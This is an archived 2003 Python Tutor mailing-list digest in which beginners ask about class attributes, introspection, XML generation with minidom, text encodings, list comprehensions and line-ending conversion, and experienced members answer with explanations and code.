Message-ID: <5.2.1.1.0.20030613230731.01f7cce0@www.thinkware.se>

At 16:48 2003-06-13 -0400, gyro funch wrote:
>I am trying to have the __init__ method of my class inspect each of the 
>class methods and create a variable based on these values.

It's not clear what 'these values' means, but the code below
suggests that you refer to values of local variables inside each
method. Local variables are just that: Local. They don't exist
outside that scope. They only have a meaning while the method
is executing. In this particular case, you think that you can
predict their values, but if you change c1 to

     def c1(self):
         print v_1
         v_1 = [1,2,3]

you will maybe understand that this is a flawed assumption. If
not, try running the c1 method for an instance of C. v_1 only
has a value when the line "v_1 = [1,2,3]" has been executed,
and only while python is still executing c1. (Unless we delete
v_1 before that.)

What you are doing by defining v_1 and v_2 as locals is to say
that they should be unavailable outside the methods c1 and c2.

Make them class attributes if that's what you want them to be.

>class C(object):
>     def __init__(self):
>         from inspect import getmembers, ismethod
>         self.vvalues = []
>         for name,value in getmembers(self):
>             if ismethod(value):
>                 vnames = value.im_func.func_code.co_names
>                 for vname in vnames:
>                     if vname.startswith('v_'):
>                         vvalue = ? # how do I get this?
>                         self.vvalues.extend(vvalue)
>
>     def c1(self):
>         v_1 = [1,2,3]
>
>     def c2(self):
>         v_2 = [5,6,7]
>
>I would like the following:
> >>> myC = C()
> >>> myC.vvalues
>[1,2,3,5,6,7]
>
>I can get the names of the variables (v_1,v_2), but I can't figure out how 
>to get the value bound to each variable.

Good! :) That's how it must be...

>Any suggestions are appreciated.

As usual when people try to do very obscure things in Python,
we want to know what you *really* want to achieve, and we'll
tell you a more pythonic way of doing it...

You know, a Python could be your best friend, but don't try
to squeeze it into something that it isn't, because Pythons
can squeeze back much harder than you can... ;)

If you just want to make your programs really difficult to
understand, try Perl or C instead. ;) But I guess that's not
really what you are after. I'm really curious...

/Magnus

P.S. c1 and c2 aren't real class methods. See
http://www.python.org/2.2.3/descrintro.html#staticmethods
Real class methods (or static methods) don't solve your problem
though. Local variables are still local variables...


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From zak@harlekin-maus.com  Fri Jun 13 18:41:02 2003
From: zak@harlekin-maus.com (Zak Arntson)
Date: Fri Jun 13 17:41:02 2003
Subject: [Tutor] Class attributes & append method
Message-ID: <2598.192.206.201.95.1055540415.squirrel@mail.harlekin-maus.com>

I've created a class, PyFictObject, which has two attributes: parent and
children. The objects are arranged in a tree with one parent and many
children. So a room (like the cellar) is a parent to a bunch of children
(pipe, box, ground). I got some helper methods to work, but weird stuff
happened. Here's the working code:

###
class PyFictObject:
    parent = None
    children = []

    def __init__(self, name):
        self.name = name

    def setParent(self, newParent):
        if self.parent != newParent and \
                (self.__class__ == PyFictObject or \
                 PyFictObject in self.parent.__class__.__bases__):
            if (self.parent):
                self.parent.children.remove(self)
            self.parent = newParent
            newParent.addChild(self)

    def addChild(self, newChild):
        if newChild not in self.children:
            self.children = self.children + [newChild]

pipe = PyFictObject('pipe')
cellar = PyFictObject('cellar')

pipe.setParent(cellar)

###

This code works great. But if I use the following (and my first two tries):

###
    def addChild(self, newChild):
        if newChild not in self.children:
            self.children += [newChild]
###

###
    def addChild(self, newChild):
        if newChild not in self.children:
            self.children.append(newChild)
###

Both cellar AND pipe have children = [pipe]!! Why is this? I'm guessing
some sort of "self" confusion?

---
Zak Arntson
www.harlekin-maus.com - Games - Lots of 'em




From lobow@brturbo.com  Fri Jun 13 18:46:02 2003
From: lobow@brturbo.com (Diego Galho Prestes)
Date: Fri Jun 13 17:46:02 2003
Subject: [Tutor] Passing variables into classes
Message-ID: <3EEA465D.1020201@brturbo.com>

Hello!
How can I pass a valor from a class to other class, if its possible?

Diego



From zak@harlekin-maus.com  Fri Jun 13 18:46:14 2003
From: zak@harlekin-maus.com (Zak Arntson)
Date: Fri Jun 13 17:46:14 2003
Subject: [Tutor] Class attributes & append method
In-Reply-To: <2598.192.206.201.95.1055540415.squirrel@mail.harlekin-maus.com>
References: <2598.192.206.201.95.1055540415.squirrel@mail.harlekin-maus.com>
Message-ID: <2614.192.206.201.95.1055540735.squirrel@mail.harlekin-maus.com>

> I've created a class, PyFictObject, which has two attributes: parent and
> children. The objects are arranged in a tree with one parent and many
> children. So a room (like the cellar) is a parent to a bunch of children
> (pipe, box, ground). I got some helper methods to work, but weird stuff
> happened. Here's the working code:
>
> ###
> class PyFictObject:
>     parent = None
>     children = []
>
<SNIP!!!>

Wait a minute here ... are parent and children class attributes, and not
instance attributes? D'oh!! Let that be a lesson to y'all. :)

---
Zak Arntson
www.harlekin-maus.com - Games - Lots of 'em




From tompol@hotmail.com  Fri Jun 13 18:47:01 2003
From: tompol@hotmail.com (Tom Brownlee)
Date: Fri Jun 13 17:47:01 2003
Subject: [Tutor] Re: txt to xml using dom
Message-ID: <Law15-F74paczSloeXh000708d2@hotmail.com>

hello all, ive posted b4 but it was mentioned my message was vague so.....

Im a tertiary student from new zealand doing python programming at the 
moment. we have an assignment to do that involves using dom (minidom). if 
possible can anybody help me.

i have to take a course outline in .txt format and pass it through a python 
program that outputs the .txt document into xml tags etc. that is to 
say...txt document in = xml out (in a .txt file)

The course outline has headings and some subheadings that must be 'tagged' 
and the text in between left as is in the output file between the tags.

i have written the program but it doesnt quite work. i have attached it 
below to see if you can make sense of why it doesnt work.

thankyou very much for your help.

the output i get is this:
<?xml version="1.0" ?>
<2003 Course Outline/>
...and thats it.

ive also included below the small course outline to be parsed through the 
program.

p.s.
if possible can i have the corrected code. this may seem demanding and lazy 
on my part but i have spent many hours on this problem and utterly 
frustrated that it doesnt work, and as a beginner im losing faith in python 
altogether :(



<start of code>

import re
from xml.dom.minidom import *

def main(arg):
    try:
        f = open(arg)
    except:
        print "cannot open file"

    newdocument = Document()
    rootElement = newdocument.createElement("2003 Course Outline")
    newdocument.appendChild(rootElement)

    tagSequence = re.compile("(^\d+)\t+")
    while 1:
        line = f.readline()
        if len(line) == 0:
            break

        s = line
        target = tagSequence.search(s)
        if target:
            s2 = re.search("\t", s)
            result = s[s2.span()[1]:]
            newElement = newdocument.createElement(result)
            rootElement.appendChild(newElement)

    x = newdocument.toxml()
    f=open('CourseOutlineInXml.txt', 'w')
    f.write(x)
    print x

if __name__ == '__main__':
    main("CourseOutline.txt")

<end of code>

<start course document>
1	COURSE STAFF MEMBERS

	(a)	Course Academic Staff Member
Rob Oliver - Room number S662.  Contact number 940 8556
Email:  oliverr@cpit.ac.nz


	(b)	Programme Leader

Trevor Nesbit, Room number N215.  Contact number 940 8703
Email:  nesbitt@cpit.ac.nz

(c)	Course Co-ordinator

Dr Mike Lance - Room number S661 Contact number 940 8318
Email: lancem@cpit.ac.nz

(d) 	Head of School (Acting)

		Janne Ross, Room number S176, Contact number 940 8537
Email:  rossj@cpit.ac.nz

2	MATERIALS

	NIL


3	CLASS HOURS AND TIMES

Day	Time	Room
Tuesday	10:00 - 12:00	X307
Thursday	10:00 - 12:00	L249


4	REFERENCE TO STUDENT HANDBOOKS

	Students should obtain a copy of the following

	Christchurch Polytechnic Student Handbook
	Faculty of Commerce Student Handbook
	Programme Handbook

Each of these contains information to students about a range of policies and 
procedures.

<end of course document>

_________________________________________________________________
Gaming galore at  http://xtramsn.co.nz/gaming !



From shad@mail.kubtelecom.ru  Fri Jun 13 19:38:02 2003
From: shad@mail.kubtelecom.ru (Denis Dzyubenko)
Date: Fri Jun 13 18:38:02 2003
Subject: [Tutor] encodings
In-Reply-To: <5.2.1.1.0.20030613225247.01ef45c0@www.thinkware.se> (Magnus
 =?iso-8859-1?q?Lyck=E5's?= message of "Fri, 13 Jun 2003 23:05:53 +0200")
References: <5.2.1.1.0.20030613225247.01ef45c0@www.thinkware.se>
Message-ID: <87d6hh61v0.fsf@mail.kubtelecom.ru>

On Fri, 13 Jun 2003 23:05:53 +0200,
 Magnus Lyck(ML) wrote to me:

ML> First, you need to DECODE the koi8-r to the common format that all
ML> encodings understand: Unicode!

I tried this too! It doesn't help:

>>> s =3D u"abc=C1=C2=D7"
>>> s.encode('cp1251')
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "/usr/lib/python2.1/encodings/cp1251.py", line 18, in encode
    return codecs.charmap_encode(input,errors,encoding_map)
UnicodeError: charmap encoding error: character maps to <undefined>

ML> txt.decode('koi8-r').encode('cp1251')

>>> txt.decode('koi8-r')
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
AttributeError: decode

ML> Of course, in general txt.decode(x).encode(y) only works if
ML> both encodings x and y support the same characters. You can

they support.
iconv encode/decode text without problems.

--=20
Denis.

=F5=D0=C1=CB=D5=CA, =E7=CF=D3=D0=CF=C4=C9, =C4=D5=DB=D5 =C5=C7=CF!...


From gyromagnetic@excite.com  Fri Jun 13 21:48:02 2003
From: gyromagnetic@excite.com (gyro funch)
Date: Fri Jun 13 20:48:02 2003
Subject: [Tutor] Getting class method variable values
Message-ID: <20030614004624.CAE3AB6D2@xmxpita.excite.com>

From: Neil Schemenauer [mailto: nas-pytut@python.ca]
>>
>>Based on your code I take it you want to create variables in >>__init__<br>based on _local_ variables in other methods.  That's a >>strange thing to do and is not supported by the Python language.  >>You can probably get close by abusing some implementation details >>of the CPython interpreter but I urge you to try a different >>approach. Why do you want to do this?
>>Neil


Thanks for the response, Neil. I realize that my request sounds strange.
 
What I am trying to do is the following:
I have a class in which I have many methods, each of which computes the value corresponding to one or more properties. Each method contains a list of the property names for which values are calculated (the name of the list is the same for all methods). 

What I want to do is to be able to return to the user a dictionary with all of the properties (for all methods) as keys and the values as the computed values (or None if they haven't been calculated). 



For example:

class C(object):

    def __init__(self):

        # need a list combining all properties in all methods
        # basically extending all v's together
        # should be ['prop_a','prop_c','prop_f','prop_z']         
        prop_list = ?

        self.all_props = dict(zip(prop_list,None*len(prop_list))

    def c_1(self):
        v = ['prop_a','prop_c']
        calculate values for property a and c
        self.all_props['prop_a'] = val_a 
        self.all_props['prop_c'] = val_c 
        return self.all_props

    def c_2(self):
        v = ['prop_f','prop_z']
        calculate values for property f and g
        self.all_props['prop_f'] = val_f 
        self.all_props['prop_z'] = val_z 
        return self.all_props


>>> myC = C()
>>> myC.c2()
{'prop_a':None, 'prop_c':None, 'prop_f':val_f, 'prop_z':val_z}


One of my objectives is to be able to add new methods with new property lists to the class and not have to update some master dictionary in the init method. That is why I thought that introspection might make sense.

Any suggestions for alternative methods are appreciated.

-g


_______________________________________________
Join Excite! - http://www.excite.com
The most personalized portal on the Web!


From reggie@merfinllc.com  Fri Jun 13 22:42:01 2003
From: reggie@merfinllc.com (Reggie Dugard)
Date: Fri Jun 13 21:42:01 2003
Subject: [Tutor] Getting class method variable values
In-Reply-To: <20030614004624.CAE3AB6D2@xmxpita.excite.com>
References: <20030614004624.CAE3AB6D2@xmxpita.excite.com>
Message-ID: <1055554881.5195.11.camel@pika>

gyro,

What about making prop_list a class variable and preceding each method
definition with a call to extend that list.  Here is an example of my
suggestion:

class C(object):
    prop_list = []
    def __init__(self):
        # need a list combining all properties in all methods
        # basically extending all v's together
        # should be ['prop_a','prop_c','prop_f','prop_z']         
        self.all_props = dict(zip(self.prop_list,
                                  [None]*len(self.prop_list)))

    prop_list.extend(['prop_a','prop_c'])
    def c_1(self):
        #calculate values for property a and c
        self.all_props['prop_a'] = 'val_a'
        self.all_props['prop_c'] = 'val_c'
        return self.all_props

    prop_list.extend(['prop_f','prop_z'])
    def c_2(self):
        #calculate values for property f and z
        self.all_props['prop_f'] = 'val_f' 
        self.all_props['prop_z'] = 'val_z' 
        return self.all_props

>>> myC = C()
>>> myC.c_2()
{'prop_f': 'val_f', 'prop_a': None, 'prop_z': 'val_z', 'prop_c': None}
>>> 

HTH,

On Fri, 2003-06-13 at 17:46, gyro funch wrote:
>  
> What I am trying to do is the following:
> I have a class in which I have many methods, each of which computes the value corresponding to one or more properties. Each method contains a list of the property names for which values are calculated (the name of the list is the same for all methods). 
> 
> What I want to do is to be able to return to the user a dictionary with all of the properties (for all methods) as keys and the values as the computed values (or None if they haven't been calculated). 
> 
> 
> 
> For example:
> 
> class C(object):
> 
>     def __init__(self):
> 
>         # need a list combining all properties in all methods
>         # basically extending all v's together
>         # should be ['prop_a','prop_c','prop_f','prop_z']         
>         prop_list = ?
> 
>         self.all_props = dict(zip(prop_list,None*len(prop_list))
> 
>     def c_1(self):
>         v = ['prop_a','prop_c']
>         calculate values for property a and c
>         self.all_props['prop_a'] = val_a 
>         self.all_props['prop_c'] = val_c 
>         return self.all_props
> 
>     def c_2(self):
>         v = ['prop_f','prop_z']
>         calculate values for property f and g
>         self.all_props['prop_f'] = val_f 
>         self.all_props['prop_z'] = val_z 
>         return self.all_props
> 
> 
> >>> myC = C()
> >>> myC.c2()
> {'prop_a':None, 'prop_c':None, 'prop_f':val_f, 'prop_z':val_z}
> 
> 
> One of my objectives is to be able to add new methods with new property lists to the class and not have to update some master dictionary in the init method. That is why I thought that introspection might make sense.

-- 
Reggie




From RFisher930@aol.com  Fri Jun 13 22:42:13 2003
From: RFisher930@aol.com (RFisher930@aol.com)
Date: Fri Jun 13 21:42:13 2003
Subject: [Tutor] mailing list
Message-ID: <34.3b28ef5e.2c1bd731@aol.com>

--part1_34.3b28ef5e.2c1bd731_boundary
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

please unsubscribe

--part1_34.3b28ef5e.2c1bd731_boundary
Content-Type: text/html; charset="US-ASCII"
Content-Transfer-Encoding: quoted-printable

<HTML><FONT FACE=3Darial,helvetica><FONT  SIZE=3D2 FAMILY=3D"SANSSERIF" FACE=
=3D"Arial" LANG=3D"0">please unsubscribe</FONT></HTML>

--part1_34.3b28ef5e.2c1bd731_boundary--


From idiot1@netzero.net  Fri Jun 13 23:54:01 2003
From: idiot1@netzero.net (Kirk Bailey)
Date: Fri Jun 13 22:54:01 2003
Subject: [Tutor] newbie programmer
References: <200306031701.AA9437412@mail.ev1.net> <005201c32a21$9b079a80$6401a8c0@xp> <002b01c32a50$be274220$7e00a8c0@ktdlaptop> <004301c32a5c$c3e61720$7e00a8c0@ktdlaptop>
Message-ID: <3EEA8E00.8060804@netzero.net>

Wow, dos. OK, you are talking about batch files, and the .bat name extension.

ok, let's go over this in context.

Dustin Phillips wrote:
> I checked out the useless python website and it is great, it has some really
> interesting challenges that I can practice with.  I am attempting to take on
> one of these challenges and a question immediately came up.  I am trying to
> create a dos based menu driven application, but I was wondering what is the
> most efficient way to implement a menu system?
Hard to say, can be effected by the context of what you are doing. But consider that you 
can give a batch file a name which is a key. that is, '1.bat','2.bat',3.bat'.
The initial one can set up screen conditions and even declare the options to the user. 
The prompt can be redefined to be something else, such as 'YOUR CHOICE?'
So you spew out the introductory lines, the several choices, and a brand new prompt.


OR

You can do all that, but ask for input, and go to a label in the batch depending on the 
answer.

There is a book, called 'MS-DOS Batch file programming' if memory serves me right. This 
is going back for me to 1991, and it's buried in the storage room/debris pile. This 
would be a good reference to you. If you can find it.

> I started out using several
> print statements, but I plan on linking the main menu to submenus and so on
> which will get very cumbersome.

with the receiving of input in the script, menus and handling the results can be in the 
batch file, and bat files can CALL other bat files.
>  How can I make the menus more modular?

Each bat file is a module.

> Should I save the menu entries into a dictionary?

Whoah, hold it, you said you wanted to do this in dos.

Did I misunderstand? Are you actually seeking a python solution on a windows/dos machine?


> ----- Original Message -----
> From: "Dustin Phillips" <python-tutor@ev1.net>
> To: "Alan Gauld" <alan.gauld@blueyonder.co.uk>; <python-tutor@mail.ev1.net>;
> <tutor@python.org>
> Sent: Tuesday, June 03, 2003 11:21 PM
> Subject: Re: [Tutor] newbie programmer
> 
> 
> 
>>Thanks for the insight and suggestions, I will check out the useless
> 
> python
> 
>>sight right away.
>>----- Original Message -----
>>From: "Alan Gauld" <alan.gauld@blueyonder.co.uk>
>>To: <python-tutor@mail.ev1.net>; <tutor@python.org>
>>Sent: Tuesday, June 03, 2003 5:43 PM
>>Subject: Re: [Tutor] newbie programmer
>>
>>
>>
>>>>just wondering what sort of real world things I can do with
>>>>python?
>>>
>>>Games, Graphics, Scientific numerical simulations, etc.
>>>THere used to even be a web browser written in Python,
>>>there is also a graphics program(like Visio).
>>>
>>>Try searching sourceforge to see what open source projects
>>>are underway using Python.
>>>
>>>With ,more experience you can even join one of the project
>>>teams...
>>>
>>>Oh yes, And the IDLE development tool that comes with
>>>Python is written in Python...
>>>
>>>
>>>>anyone have any advice or suggestions?
>>>
>>>For some fun small projects check out the "Useless Python"
>>>website, which is far from useless...
>>>
>>>Alan G
>>>Author of the Learn to Program web tutor
>>>http://www.freenetpages.co.uk/hp/alan.gauld
>>>
>>>
>>
>>
> 
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
> 
> 


-- 

end

Cheers!
         Kirk D Bailey
                               think
http://www.howlermonkey.net/ +-----+ http://www.tinylist.org/
http://www.listville.net/    | BOX | http://www.sacredelectron.org/
                              +-----+
"Thou art free"-ERIS          think    'Got a light?'-Promethieus

.



From idiot1@netzero.net  Fri Jun 13 23:59:02 2003
From: idiot1@netzero.net (Kirk Bailey)
Date: Fri Jun 13 22:59:02 2003
Subject: [Tutor] mailing list
References: <34.3b28ef5e.2c1bd731@aol.com>
Message-ID: <3EEA8F21.7030503@netzero.net>

Try this link to manage your membership.
	http://mail.python.org/mailman/listinfo/tutor

GEE, but I wish the link to the management page was JUST A TAD more clear in it's self 
description.

(ASIDE: Was that nicer than just saying 'no'?)


RFisher930@aol.com wrote:
> please unsubscribe


-- 

end

Cheers!
         Kirk D Bailey
                               think
http://www.howlermonkey.net/ +-----+ http://www.tinylist.org/
http://www.listville.net/    | BOX | http://www.sacredelectron.org/
                              +-----+
"Thou art free"-ERIS          think    'Got a light?'-Promethieus

.



From scott_list@mischko.com  Sat Jun 14 00:05:01 2003
From: scott_list@mischko.com (Scott Chapman)
Date: Fri Jun 13 23:05:01 2003
Subject: [Tutor] How to make a proposal for module change to Python struct module?
Message-ID: <200306131955.42642.scott_list@mischko.com>

I'd like to propose an addition to the struct module, of a 'z' format 
indicator to indicate a zero/null terminated string.

How are these proposals made?

(or is 's' format with no preceeding number going to accomplish this?)

Cordially,
Scott


From alan.gauld@blueyonder.co.uk  Sat Jun 14 04:15:03 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Sat Jun 14 03:15:03 2003
Subject: [Tutor] Passing variables into classes
References: <3EEA465D.1020201@brturbo.com>
Message-ID: <00d601c33244$ce441880$6401a8c0@xp>

> How can I pass a valor from a class to other class, if its possible?

class OneClass:
  def __init__(self, aValue):
    self.v = aValue
  def passTo(self,anObject):
    anObject.receive(self.v)

class AnotherClass:
   def __init__(self):
     self.v1 = 0
   def receive(self,aValue):
     self.v1 = aValue

a = OneClass(42)
b = AnotherClass()

a.passTo(b)

This will create two objects. The first will have 
an internal value of 42. We then pass that value 
to the other object by sending the appropriate message.

Does that help? There is more about how to do this 
in the OOP topic of my tutor (check the transfer 
method of the BankAccount example)

Alan G
Author of the Learn to Program web tutor
http://www.freenetpages.co.uk/hp/alan.gauld


From alan.gauld@blueyonder.co.uk  Sat Jun 14 04:27:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Sat Jun 14 03:27:02 2003
Subject: [Tutor] Getting class method variable values
References: <20030614004624.CAE3AB6D2@xmxpita.excite.com>
Message-ID: <00dd01c33246$5e313ad0$6401a8c0@xp>

> Each method contains a list of the property names for which
> values are calculated (the name of the list is the same for all
methods).
>
> What I want to do is to be able to return to the user a dictionary
> with all of the properties (for all methods) as keys and the values
> as the computed values (or None if they haven't been calculated).

Wouldn't it be easier to store the lists at the class level rather
than as local variables. Possibly in a dictionary keyed by method?
Then in each method you can fetch the list from the dictionary,
and outside the method you have access.

Something like:

class C:
     self.d = {'foo': {a:None,
                       b:None,
                       c:None},
               'bar': {a:None,
                       b:None}
               }

     def foo(self):
        vars = self.d['foo']
        vars[a] = 42
        # etc...

     def bar(self):
        vars = self.d['bar']
        # etc...

     def printVals(self):
        for meth in self.d:
           for var in meth:
              print meth[var]

Is that (remotely) like what you want to do?

Alan G



From project5@redrival.net  Sat Jun 14 09:45:01 2003
From: project5@redrival.net (Andrei)
Date: Sat Jun 14 08:45:01 2003
Subject: [Tutor] Re: Can you modify every nth item in a list with a  single   assignment?
In-Reply-To: <3EEA10D2.80600@ccvcorp.com>
References: <3EE916CB.9060208@ccvcorp.com>        <LFEJJJNJEBIGPEPEPLIPEEBJCAAA.gus.tabares@verizon.net> <2901.192.206.201.95.1055465309.squirrel@mail.harlekin-maus.com> <bcb9kt$co4$1@main.gmane.org> <bcbadv$gva$1@main.gmane.org> <3EEA10D2.80600@ccvcorp.com>
Message-ID: <bcf56v$a0t$1@main.gmane.org>

Jeff Shannon wrote:
> Andrei wrote:
> 
>> >>> [ (item in range(0, len(b), 3) and [b[item]] or [2+b[item]])[0] 
>> for item in range(0, len(b))]
>> [0, 3, 4, 3, 6, 7, 6, 9, 10]
>>
>> That's better. 
> 
> Well, "better" being a matter of opinion. ;)  This works, sure, but I'd 
> rather explicitly build a list of indices, and then explicitly loop 
> through that list and modify the primary list -- or else use that list 
> to exclude items from processing.
> 

I meant better than my original solution (which you left out in your 
quote), not better than a multi-line one, as this ons doesn't suffer 
from the and/or trick problem which my original solution did have. I 
agree that a multi-line solution is more readable, but the topic starter 
asked for a one-liner :).

~A.

=====
Mail address in header catches spam. Real contact info (decode with rot13):
cebwrpg5@bcrenznvy.pbz. Fcnz-serr! Cyrnfr qb abg hfr va choyvp cbfgf. V 
ernq gur yvfg, fb gurer'f ab arrq gb PP.




From project5@redrival.net  Sat Jun 14 09:57:01 2003
From: project5@redrival.net (Andrei)
Date: Sat Jun 14 08:57:01 2003
Subject: [Tutor] Re: Can you modify every nth item in a list with a  single assignment?
In-Reply-To: <003a01c3317a$f73c4840$6401a8c0@xp>
References: <3EE916CB.9060208@ccvcorp.com>        <LFEJJJNJEBIGPEPEPLIPEEBJCAAA.gus.tabares@verizon.net> <2901.192.206.201.95.1055465309.squirrel@mail.harlekin-maus.com> <bcb9kt$co4$1@main.gmane.org> <003a01c3317a$f73c4840$6401a8c0@xp>
Message-ID: <bcf5qu$dhr$1@main.gmane.org>

Alan Gauld wrote:

>> >>> b = [1, 2, 3, 4, 5, 6, 7, 8, 9]
>> >>> [ item in range(2, len(b), 3) and 2*b[item] or b[item] for item
> in
>>range(0, len(b))]
> 
> Very clever, but it is still two lines and much more

One line, but wrapped in an unfortunate manner by Mozilla.

> complicated than the explicit loop version:
> 
> b = [1, 2, 3, 4, 5, 6, 7, 8, 9]
> for n in range(2,len(b),3): b[n] *= 2
> 
> Alan G.

Duh, so obvious and I didn't see it (I always start a new line after 
":"). On the other hand, the list comprehension could be used to change 
different items in different ways (e.g. every third item times 2, the 
other ones plus 2) in a single, extremely long and unmaintainable line.
I liked Alfred Milgrom's solution too.

Andrei

=====
Mail address in header catches spam. Real contact info (decode with rot13):
cebwrpg5@bcrenznvy.pbz. Fcnz-serr! Cyrnfr qb abg hfr va choyvp cbfgf. V 
ernq gur yvfg, fb gurer'f ab arrq gb PP.




From R. Alan Monroe" <amonroe@columbus.rr.com  Sat Jun 14 10:37:36 2003
From: R. Alan Monroe" <amonroe@columbus.rr.com (R. Alan Monroe)
Date: Sat Jun 14 09:37:36 2003
Subject: [Tutor] Can you modify every nth item in a list with a  single assignment?
In-Reply-To: <3EEA1243.7010502@ccvcorp.com>
References: <5.2.1.1.0.20030612093506.03dc76c8@66.28.54.253>
 <50-1512273134.20030612232708@columbus.rr.com> <3EEA1243.7010502@ccvcorp.com>
Message-ID: <1704255298.20030614094126@columbus.rr.com>

> R. Alan Monroe wrote:

>>>What is your goal here?

>>I'd like to, for instance, draw a column of pixels in a 2d video
>>buffer that's implemented as a 1d array.

> Any particularly compelling reason to implement this as a 1d array?

You may have missed some of my earlier emails on this... I'm calling
python from a C dll so I can play with vis plugins for Sonique in
Python. So I can't change that aspect of the implementation. Python
interprets the buffer object as a long string.

Unless there is a way to convert from string to 2d array, then back
again? (Ideally without copying the whole thing and copying it back -
doing that would send framerates down the drain, I'm guessing)

I will try to post my code on my website in the next few days.

Alan



From decibelshelp@charter.net  Sat Jun 14 10:58:01 2003
From: decibelshelp@charter.net (Decibels)
Date: Sat Jun 14 09:58:01 2003
Subject: [Tutor] python date::manip like module?
Message-ID: <200306140856.30281.decibelshelp@charter.net>

Does any one know if there is a module like perl Date::Manip
so you can enter information like:

today
1st thursday in June 1992
05/10/93
12:30 Dec 12th 1880
8:00pm december tenth
yesterday
,........

 Thanks, Dave



From elh@outreachnetworks.com  Sat Jun 14 12:30:02 2003
From: elh@outreachnetworks.com (Eric L. Howard)
Date: Sat Jun 14 11:30:02 2003
Subject: [Tutor] PostgreSQL driver recommendations?
Message-ID: <20030614112924.A31405@outreachnetworks.com>

http://www.python.org/topics/database/modules.html

lists at least three modules for PostgreSQL [some not actively maintained].

Which of the actively maintained modules would be best recommended?  I've
searched the db-sig archives @ activestate, but haven't been able to find a
straight-forward answer.  I'm waiding into hooking python in to DBs and am
looking for advice from a tutor...

	~elh


From idiot1@netzero.net  Sat Jun 14 13:57:01 2003
From: idiot1@netzero.net (Kirk Bailey)
Date: Sat Jun 14 12:57:01 2003
Subject: [Tutor] methods and functions
References: <20030613142447.28986.qmail@web20204.mail.yahoo.com> <20030613173653.GB2718@glacier.arctrix.com> <3EEAA2ED.2010605@netzero.net> <20030614153209.GA5357@glacier.arctrix.com>
Message-ID: <3EEB521D.80406@netzero.net>

please do; it was intended as such.

Neil Schemenauer wrote:
> Kirk Bailey wrote:
> 
>>HOLY FLYING BABY SHIT!
>>
>>(OK, so just what sort of noise DOES a (dim) lightbulb make when
>> it comes on above your head?)
> 
> 
> Hmm, I guess I'll take that as a positive comment. :-)
> 
>   Neil
> 
> 


-- 

end

Cheers!
         Kirk D Bailey
                               think
http://www.howlermonkey.net/ +-----+ http://www.tinylist.org/
http://www.listville.net/    | BOX | http://www.sacredelectron.org/
                              +-----+
"Thou art free"-ERIS          think    'Got a light?'-Promethieus

.



From idiot1@netzero.net  Sat Jun 14 14:09:02 2003
From: idiot1@netzero.net (Kirk Bailey)
Date: Sat Jun 14 13:09:02 2003
Subject: [Tutor] file eats first character, film at 11
Message-ID: <3EEB5034.4060808@netzero.net>

ok, I wrote a program to strip out the ms-dos CRLF charpair, replacing with a single \n 
char. Works fine.

EXCEPT
it eats the first character in the file.
Here is a sample of it's output.

DEDOSIFY.PY V:1.0.0 (C)2003 KIRK D BAILEY
Released royalty free under the GNL GPL.

what file shall I purify?testtext

Attempting to read in the file 'testtext'...

ok, I just read in the file; here it is:

['1\012', '2\012', '3\012', '4\012', '5\012', '6\012', '\012', '7\012', '8\012', 
'9\012', '10\012', '\012', '11\012', '12\012', '13\012', '14\012', '15\012', '16\012', 
'\012', '17\012', '18\012', '19\012', '20\012', '\012', '\012', '\012', '\012', '\012']

now I have stripped out trailing blank lines. Here is the result:
['1', '2', '3', '4', '5', '6', '', '7', '8', '9', '10', '', '11', '12', '13', '14', 
'15', '16', '', '17', '18', '19', '20', '', '', '', '', '']


writing out cleaned up file...

['', '2', '3', '4', '5', '6', '', '7', '8', '9', '10', '', '11', '12', '13', '14', '15', 
'16', '', '17', '18', '19', '20', '', '', '', '', '']

2
3
4
5
6

7
8
9
10

11
12
13
14
15
16

17
18
19
20






File written out with NEWLINE ends, conforming to un*x style stucture.

#ns _

HERE is it's sourcecode:

#!/usr/local/bin/python
# maybe you need to change the above line?
import string, sys
print '\n'
print 'DEDOSIFY.PY V:1.0.0 (C)2003 KIRK D BAILEY'
print 'Released royalty free under the GNL GPL.'
print
print 'what file shall I purify?',
filename=string.strip(raw_input())
print
print "Attempting to read in the file '"+filename+"'...\n"
try:
         f1=open(filename,'r')
         filelines=f1.readlines()
         f1.close()
except Exception, e:
         print 'FILE ACCESS ERROR: NOT FOUND or NOT READABLE\n'
         sys.exit()
print 'ok, I just read in the file; here it is:\n'
print filelines                         # testcode, comment out later
print
index=0                                 # This strips out whitespace chars
for line in filelines:                  # strip out all the trailing whitespace chars
         filelines[index]=string.rstrip(filelines[index])
         index=index+1
print 'now I have stripped out trailing blank lines. Here is the result:\n', filelines
#
print '\n\nwriting out cleaned up file...\n'
linenumber=0
for line in filelines:
         filelines[linenumber]=string.strip(line)
print filelines
#
f1=open(filename,'w')
for line in filelines:
         print line
         f1.write(line+'\n')
f1.close()
print
print 'File written out with NEWLINE ends, conforming to un*x style stucture.\n'


ns#

OK, clues please?
-- 

end

Cheers!
         Kirk D Bailey
                               think
http://www.howlermonkey.net/ +-----+ http://www.tinylist.org/
http://www.listville.net/    | BOX | http://www.sacredelectron.org/
                              +-----+
"Thou art free"-ERIS          think    'Got a light?'-Promethieus

.



From shalehperry@attbi.com  Sat Jun 14 15:31:01 2003
From: shalehperry@attbi.com (Sean 'Shaleh' Perry)
Date: Sat Jun 14 14:31:01 2003
Subject: [Tutor] file eats first character, film at 11
In-Reply-To: <3EEB5034.4060808@netzero.net>
References: <3EEB5034.4060808@netzero.net>
Message-ID: <200306141129.47296.shalehperry@attbi.com>

On Saturday 14 June 2003 09:41, Kirk Bailey wrote:
> ok, I wrote a program to strip out the ms-dos CRLF charpair, replacing with
> a single \n char. Works fine.
>

sorry did not look long enough to diagnose your problem.  However, I would 
like to make a comment on how you accomplish your task.

You risk data loss if you use one of the strip() family to eat the CR-LF 
pairs.  When?  Consider a file that has trailing whitespace for some reason.  
rstrip() will eat them right along with the CR-LF.

Now you (or someone else) may be saying "bah, so what?".  A proper file filter 
should only change what is must and return the EXACT same file back to the 
user.  They may have a very good reason for why each line ends with a tab.

I would recommend doing an explicit \r\n --> \n conversion.



